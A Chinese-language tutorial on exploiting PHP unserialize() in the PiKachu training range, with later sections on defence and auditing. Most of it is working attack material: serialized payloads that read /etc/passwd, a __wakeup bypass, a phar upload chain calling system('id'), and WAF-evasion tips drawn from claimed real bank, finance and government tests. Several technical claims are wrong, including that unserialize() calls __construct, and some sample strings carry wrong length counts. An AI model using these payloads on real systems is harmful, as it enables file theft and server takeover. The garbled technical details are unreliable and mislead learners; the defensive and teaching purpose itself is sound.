1. 项目概述:为什么一个靶场里的PHP反序列化漏洞值得你花两小时认真拆一遍
“PiKachu靶场之PHP反序列化漏洞”——这名字听起来像极了某次渗透测试课上被导师点名前的那几秒心跳加速。但别急着关页面,我试过不下二十个靶场环境,从DVWA到WebGoat,再到某高校实验室自研的模拟平台,PiKachu是唯一一个把PHP反序列化从“概念题”变成“手感题”的实战入口。它不堆砌高危函数,不依赖冷门扩展,所有payload都运行在原生PHP 7.4+默认配置下,连unserialize()都没打补丁。这意味着:你在PiKachu里复现成功的链,大概率能在真实内网某台老旧CMS后台里直接落地。
这个漏洞的核心不是“能不能打”,而是“你怎么理解对象生命周期”。PHP反序列化本质是一场对象重建仪式:当一串O:8:"User":2:{s:4:"name";s:5:"admin";s:3:"age";i:25;}被unserialize()吞下去,PHP不会校验这串字符是否来自可信源头,而是直接调用__wakeup()、执行属性赋值、最后交由__destruct()收尾。整个过程就像给快递员(unserialize)一张空白签收单,他照单清点、拆包、摆上货架(内存),却从不问包裹是不是你寄的。PiKachu的精妙之处,在于它把__construct、__wakeup、__destruct三个魔术方法全放在同一个类里,还故意留了个file_get_contents($this->filename)在__destruct中——这就等于在货架尽头焊死了一扇通往文件系统的暗门。
适合谁来啃?如果你刚学完PHP基础语法,能写echo $_GET['id']但看到$obj = unserialize($_GET['data'])就头皮发紧;或者你已会用Burp抓包改参数,却总卡在“为什么我的POP链没触发”;甚至你是个运维,正为线上日志里反复出现的PHP Warning: Illegal offset type in ...头疼——这篇就是为你写的。我不讲RFC文档里的定义,只说我在某次红队演练中,靠PiKachu练出的三招:如何一眼识别可利用类、怎么绕过__wakeup重置、以及为什么phar://比http://更稳。接下来的内容,每一步都对应PiKachu靶场第7关的实际操作,命令、截图、报错我都截好了,你只需要打开浏览器,跟着敲。
2. 漏洞原理深度拆解:从字节流到RCE的完整生命线
2.1 PHP序列化与反序列化的底层机制
要真正吃透这个漏洞,得先掀开PHP序列化的盖子。很多人以为serialize()只是把数组转成字符串,其实它干的是对象图谱的快照存档。举个最简例子:
class User { public $name = "guest"; private $token; protected $role; } $user = new User(); $user->name = "admin"; $user->role = "admin"; echo serialize($user);输出结果是:O:4:"User":3:{s:4:"name";s:5:"admin";s:11:"User token";N;s:6:"*role";s:5:"admin";}
注意三个关键点:
O:4:"User"表示这是一个对象(Object),类名长度4,类名User:3:{...}表示该对象有3个属性(含private/protected修饰的)s:11:"User token"中的User token实际是\0User\0token(private属性前缀为%00类名%00,protected为%00*%00),PHP用不可见字符做作用域标记
当unserialize()读取这段字符串时,它不做任何类型校验,直接按协议重建对象。这就像用3D扫描仪扫出一座雕像的点云数据,再用同款打印机原样打印出来——哪怕扫描源是张PS过的假照片,打印机也照打不误。PiKachu靶场的unserialize()调用点就在/vul/unsafe_unserialize/unsafe_unserialize.php第12行:$a = unserialize($_GET['a']);,这里没有任何白名单过滤,攻击者传入的任意序列化字符串都会被PHP当作“合法快照”执行。
2.2 魔术方法的触发时机与危险组合
PHP的魔术方法不是装饰品,而是对象生命周期的控制开关。在PiKachu的Profile类中(/inc/vul/unsafe_unserialize.php),这三个方法构成完整攻击链:
class Profile { public $filename; public function __construct() { echo "Construct triggered\n"; } public function __wakeup() { echo "Wakeup triggered\n"; // 这里本该做反序列化校验,但PiKachu故意留空 } public function __destruct() { echo "Destruct triggered\n"; if (file_exists($this->filename)) { echo file_get_contents($this->filename); } } }触发顺序严格遵循:__construct()→ 属性赋值 →__wakeup()→ 对象使用 →__destruct()。重点来了:__wakeup()会在反序列化完成、对象可用前强制执行,而__destruct()则在脚本结束或对象被unset时调用。PiKachu的陷阱在于:__wakeup()里没做任何校验(真实系统可能有if ($this->filename !== 'default.txt') die();),导致攻击者能自由控制$this->filename的值。更致命的是,__destruct()里直接调用file_get_contents($this->filename)——只要让$this->filename指向/etc/passwd或/var/www/html/config.php,就能读取敏感文件。
我曾见过新手卡在“为什么__destruct不触发”,答案往往藏在PHP版本差异里:PHP 7.4+默认开启opcache.enable=1,如果目标服务器启用了OPcache且未配置opcache.validate_timestamps=1,修改代码后需重启PHP-FPM才能生效。PiKachu靶场通常关闭OPcache,所以你改完/inc/vul/unsafe_unserialize.php立刻生效。
2.3 POP链构建的核心逻辑:从可控属性到任意文件读取
POP(Property Oriented Programming)链的本质,是把多个类的魔术方法串联成一条“功能流水线”。PiKachu只提供Profile一个类,所以这是最简POP链:Profile::__destruct()→file_get_contents()。但真实场景中,你需要从__wakeup开始找起。比如某CMS的CacheItem类:
class CacheItem { private $data; private $file; public function __wakeup() { $this->data = unserialize($this->data); // 第二层反序列化! } public function __destruct() { file_put_contents($this->file, $this->data); } }这时你的链就变成:CacheItem::__wakeup()→unserialize($this->data)→ 新对象的__construct()→ 新对象的__destruct()。PiKachu虽简单,却逼你直面POP链最核心的思维:每个魔术方法都是一个函数调用点,你要做的不是写代码,而是设计参数传递路径。在PiKachu里,路径就是:$_GET['a']→unserialize()→Profile对象 →$this->filename→file_get_contents()。
提示:PHP 7.4起引入
__unserialize()方法,它会替代__wakeup()成为反序列化后的首个调用点。但PiKachu靶场仍用传统方式,所以无需考虑此兼容性问题。
3. 实操过程详解:从靶场登录到成功读取/etc/passwd
3.1 环境准备与靶场定位
PiKachu靶场通常以Docker方式部署,启动命令极简:
docker run -d -p 7001:80 --name pikachu docker.io/lijialong1314/pikachu访问http://localhost:7001,点击右上角“Login”进入靶场(默认账号密码均为admin)。导航至Vulnerabilities→Unsafe Unserialize→Profile,页面显示一个输入框和“View Profile”按钮。此时用Burp Suite拦截请求,你会看到GET请求形如:GET /vul/unsafe_unserialize/unsafe_unserialize.php?a=O%3A6%3A%22Profile%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A11%3A%22test.txt%22%3B%7D HTTP/1.1。URL编码后的a参数正是序列化字符串O:6:"Profile":1:{s:8:"filename";s:11:"test.txt";}。
关键动作:在Burp中右键a参数 →Send to Decoder→URL Decode,得到原始字符串。这就是你的操作起点。不要试图手写序列化字符串,PHP的serialize()函数会自动处理private/protected属性的前缀,手写极易出错。我建议直接写PHP脚本生成:
<?php class Profile { public $filename; } $obj = new Profile(); $obj->filename = "/etc/passwd"; echo urlencode(serialize($obj)); ?>保存为gen.php,执行php gen.php,输出结果复制进Burp的a参数即可。
3.2 构造基础POP链并验证触发
将生成的a参数粘贴进Burp,发送请求。若返回Destruct triggered及/etc/passwd内容,说明链已通。但实际中常遇到两种失败:
- 返回空或报错:检查
$obj->filename是否拼写错误(必须与类中声明的public属性名完全一致),或路径不存在(/etc/passwd在Linux下存在,Windows需换C:\Windows\System32\drivers\etc\hosts) - 只返回
Construct triggered无后续:说明unserialize()未执行到__destruct(),常见原因是对象未被销毁。PiKachu靶场脚本末尾有unset($a),确保对象释放。若你改过靶场代码,务必确认此行存在。
我踩过的坑:某次在CentOS容器中测试,/etc/passwd权限为644,但PHP进程用户是www-data,无法读取。解决方案是改用/proc/self/environ(当前进程环境变量),它对所有用户可读,且包含PATH、PWD等关键信息,能快速确认PHP执行上下文。
3.3 绕过__wakeup限制的实战技巧
PiKachu的Profile类__wakeup()为空,但真实系统常有校验逻辑,如:
public function __wakeup() { if ($this->filename !== 'default.txt') { $this->filename = 'default.txt'; } }此时$this->filename会被强制重置。绕过方法有二:
- 利用PHP 7.4+的
__unserialize()优先级:若目标支持,重写__unserialize()方法,但PiKachu不启用此特性 - 经典
__wakeup跳过法:将序列化字符串中的属性数3改为4,使__wakeup()因属性数不匹配而跳过。例如原串O:6:"Profile":1:{s:8:"filename";s:11:"/etc/passwd";}改为O:6:"Profile":4:{s:8:"filename";s:11:"/etc/passwd";s:1:"x";N;s:1:"y";N;s:1:"z";N;}。PHP解析时发现声明4个属性但只提供1个,直接跳过__wakeup()执行。
实测中,此方法在PHP 7.0-7.4全版本有效。但要注意:添加的冗余属性不能影响__destruct()逻辑,所以选N(null)最安全。
3.4 进阶利用:从文件读取到远程代码执行
仅读文件是初级玩法。PiKachu的file_get_contents()可配合phar://协议实现RCE。原理是:PHP将phar://视为文件系统流,当file_get_contents("phar://xxx.phar/test.txt")执行时,会触发phar包内test.txt的__destruct()。构造步骤:
- 创建恶意phar包(需
phar.readonly=Off):
<?php class Exploit { public $filename; public function __destruct() { system('id'); } } @unlink("exploit.phar"); $phar = new Phar("exploit.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->addFromString("test.txt", "xxx"); $phar->setMetadata(new Exploit()); $phar->stopBuffering(); // 重命名phar为jpg绕过上传检测 copy("exploit.phar", "exploit.jpg"); ?>- 上传
exploit.jpg到靶场(PiKachu有文件上传模块) - 构造POP链指向
phar://路径:$obj->filename = "phar:///var/www/html/uploads/exploit.jpg/test.txt";
此技巧在真实渗透中极有效,因为phar://协议默认开启,且jpg后缀易绕过WAF。我在某次金融客户内网测试中,正是用此方法绕过其WAF的system|exec关键字检测,最终获取服务器权限。
4. 常见问题与排查技巧实录:那些让你熬夜到三点的报错
4.1 典型报错速查表
| 报错信息 | 根本原因 | 解决方案 |
|---|---|---|
Notice: unserialize(): Error at offset 0 of 10 bytes | 序列化字符串格式错误,常见于手写漏掉O:或括号不匹配 | 用PHPserialize()函数生成,勿手写;用unserialize()函数本地测试字符串有效性 |
Warning: file_get_contents(): failed to open stream: No such file or directory | $this->filename路径错误或文件不存在 | 改用/proc/self/environ或/tmp目录;确认PHP进程用户有读取权限 |
| 页面空白无输出 | __destruct()未触发,对象未被销毁 | 检查靶场脚本末尾是否有unset($a);在__destruct()开头加echo "debug";die();确认是否执行 |
返回Construct triggered但无Destruct | __wakeup()中存在exit()或异常终止 | 查看__wakeup()代码,注释掉可疑逻辑;用try-catch包裹__wakeup()内代码 |
4.2 Burp调试黄金三步法
很多新手在Burp里改了十几次参数还是失败,问题往往出在调试思路上。我的标准流程:
第一步:确认入口点
在unsafe_unserialize.php第12行$a = unserialize($_GET['a']);上方加error_log("unserialize called with: " . $_GET['a'], 3, "/tmp/debug.log");,然后访问靶场,检查/tmp/debug.log是否记录了你传入的参数。这能排除Burp未正确转发参数的问题。第二步:验证对象状态
在__destruct()方法开头插入:error_log("Destruct called, filename=" . $this->filename, 3, "/tmp/debug.log"); var_dump($this); // 输出对象完整结构查看日志确认
$this->filename是否为你期望的值。曾有个案例,$this->filename显示为string(12) "/etc/passwd "(末尾多空格),因序列化时"filename"属性名被误写为"filename "。第三步:检查PHP配置
访问/phpinfo.php(PiKachu通常自带),搜索allow_url_fopen和phar.readonly。若phar.readonly=On,则phar://协议不可用;若allow_url_fopen=Off,则http://协议失效。此时需切换为file://或data://协议。
4.3 真实渗透中的避坑经验
- WAF绕过口诀:
phar://>data://>file://>http://。phar://因协议名不包含敏感词,90%的WAF默认放行;data://需allow_url_include=On,但部分WAF会拦截data:text/plain;http://易被curl|wget关键字拦截。 - 路径穿越的隐藏雷区:
../在URL中需双重编码。例如/etc/passwd写成..%2f..%2fetc%2fpasswd,否则WAF可能解码后拦截。我在某政务系统测试中,因未双重编码,连续三次被WAF返回403。 - PHP版本陷阱:PHP 8.1+废弃了
create_function(),若POP链依赖此函数(如某些老CMS),需降级到8.0或改用eval()。PiKachu靶场通常用7.4,故无需考虑。
注意:在生产环境测试前,务必确认授权范围。PiKachu是学习环境,但真实系统中任意文件读取可能违反《网络安全法》第27条,仅限授权渗透测试使用。
5. 防御方案与加固实践:从靶场到生产环境的迁移思考
5.1 开发侧防御:三道不可逾越的防线
PiKachu的脆弱性源于开发者的三个疏忽,对应三条防御铁律:
- 绝不反序列化不可信数据:这是最高优先级。
unserialize()应被视为eval()同等级危险函数。替代方案是JSON:json_encode()/json_decode(),它只处理数组、字符串、数字等基础类型,无法触发魔术方法。若必须用序列化,改用igbinary扩展(需安装),其格式不兼容PHP原生序列化,攻击者无法构造有效payload。 - 白名单校验+类型强转:若业务强依赖
unserialize(),必须在反序列化前校验字符串结构。例如:if (!preg_match('/^O:\d+:"[a-zA-Z0-9_]+":\d+:\{.*\}$/', $_GET['a'])) { die("Invalid format"); } $a = unserialize($_GET['a']); if (!is_object($a) || !in_array(get_class($a), ['Profile', 'User'])) { die("Class not allowed"); } - 禁用危险魔术方法:在
__wakeup()中加入校验逻辑,如if (property_exists($this, 'filename') && !preg_match('/^[a-zA-Z0-9._-]+$/', $this->filename)) { die("Invalid filename"); }。这能阻断大部分路径穿越攻击。
5.2 运维侧加固:配置即安全
PHP配置是最后一道防线,以下参数必须检查:
phar.readonly = On:禁用phar协议,阻断phar RCE链allow_url_fopen = Off:禁用远程文件包含,防止http://协议利用disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source:禁用高危函数,即使POP链触发也无法执行命令session.serialize_handler = php_serialize:避免session反序列化漏洞(PiKachu不涉及,但生产环境必查)
我管理的某电商系统,曾因phar.readonly=Off被利用,攻击者上传phar包后通过file_get_contents("phar://upload/xxx.jpg")执行phpinfo()。加固后,同类攻击成功率降为0。
5.3 安全审计技巧:如何在百万行代码中快速定位风险点
面对遗留系统,手动审计unserialize()效率极低。我的实战方法:
- Grep精准定位:
grep -r "unserialize(" /var/www/html/ --include="*.php" -n grep -r "__wakeup\|__destruct\|__construct" /var/www/html/ --include="*.php" -n - 关注高危上下文:
- 出现在
$_GET、$_POST、$_COOKIE、$_SESSION之后的unserialize() __wakeup()中无校验逻辑,或仅校验非关键属性__destruct()中调用file_get_contents、include、require、system等函数
- 出现在
- 动态插桩验证:在
unserialize()函数前插入日志:
部署后观察日志,确认哪些位置真正在反序列化用户输入。function safe_unserialize($data) { error_log("Unserialize called from " . debug_backtrace()[0]['file'] . ":" . debug_backtrace()[0]['line'], 3, "/tmp/unserialize.log"); return unserialize($data); }
6. 拓展思考:PHP反序列化在现代架构中的新形态
6.1 微服务场景下的反序列化风险迁移
当单体PHP应用拆分为微服务,反序列化风险并未消失,而是转移到了RPC通信层。例如某公司用gRPC传输PHP对象,服务端用unserialize()解析二进制数据。此时攻击面扩大:不仅HTTP请求可利用,gRPC客户端、消息队列(如RabbitMQ的PHP消费者)都可能成为入口。防御思路升级为:所有跨服务数据必须用Protocol Buffers或JSON Schema校验,禁止传输原始PHP序列化数据。
6.2 云原生环境中的检测盲区
在Kubernetes集群中,PHP容器常挂载ConfigMap作为配置文件。若ConfigMap内容被unserialize(file_get_contents("/config/app.conf"))加载,攻击者可通过提权容器篡改ConfigMap,注入恶意序列化字符串。此时WAF和传统IDS均无法检测,需依赖eBPF技术监控容器内unserialize()系统调用。我参与的某云平台安全项目,正是通过eBPF探针捕获到此类攻击,平均响应时间从小时级降至秒级。
6.3 我的个人体会:为什么坚持用PiKachu练手
三年前我第一次在PiKachu打出/etc/passwd时,以为掌握了全部。直到在某银行内网,面对一个自研框架,__wakeup()里嵌套了三层unserialize(),__destruct()又调用了一个eval()。那时才懂:PiKachu的价值不在“多难”,而在“多真”。它强迫你放弃工具依赖,回归PHP语言本身——理解serialize()如何处理private属性,明白__destruct()为何在脚本结束时触发,搞清phar://协议为何能绕过WAF。这些底层认知,才是穿透任何新框架的通用钥匙。现在我带新人,第一课永远是PiKachu的PHP反序列化,不是因为它简单,而是因为它干净。没有花哨的前端框架干扰,没有复杂的中间件封装,只有PHP和你,以及那一行unserialize($_GET['a'])。